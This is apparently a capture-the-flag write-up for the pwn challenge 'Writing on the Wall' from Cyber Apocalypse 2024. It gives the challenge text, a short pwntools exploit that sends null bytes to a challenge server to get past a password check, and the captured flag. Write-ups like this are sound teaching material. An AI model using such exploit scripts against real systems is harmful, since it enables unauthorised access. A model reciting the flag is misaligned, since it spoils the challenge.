> For the complete documentation index, see [llms.txt](https://sayonara.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sayonara.gitbook.io/writeups/ctf/cyber-apocalypse-2024-hacker-royale/pwn/writing-on-the-wall.md).

# Writing on the Wall

{% file src="/files/rDIYDHtUUZxEXTCuMHXw" %}

### <mark style="color:blue;">Challenge Description :</mark>&#x20;

```
As you approach a password-protected door, a sense of uncertainty envelops you—no clues, no hints. Yet, just as confusion takes hold, your gaze locks onto cryptic markings adorning the nearby wall. Could this be the elusive password, waiting to unveil the door's secrets?

```

### <mark style="color:red;">Exploit :</mark>&#x20;

```python
from pwn import *

# Set up pwntools for the correct architecture
exe = './writing_on_the_wall'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# io = process(exe)
io = remote('83.136.249.153', 54989)

payload = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

write("payload", payload)
io.sendafter(b'>> ', payload)

io.interactive()
```

### <mark style="color:red;">Flag.txt :</mark>&#x20;

```
HTB{3v3ryth1ng_15_r34d4bl3}
```
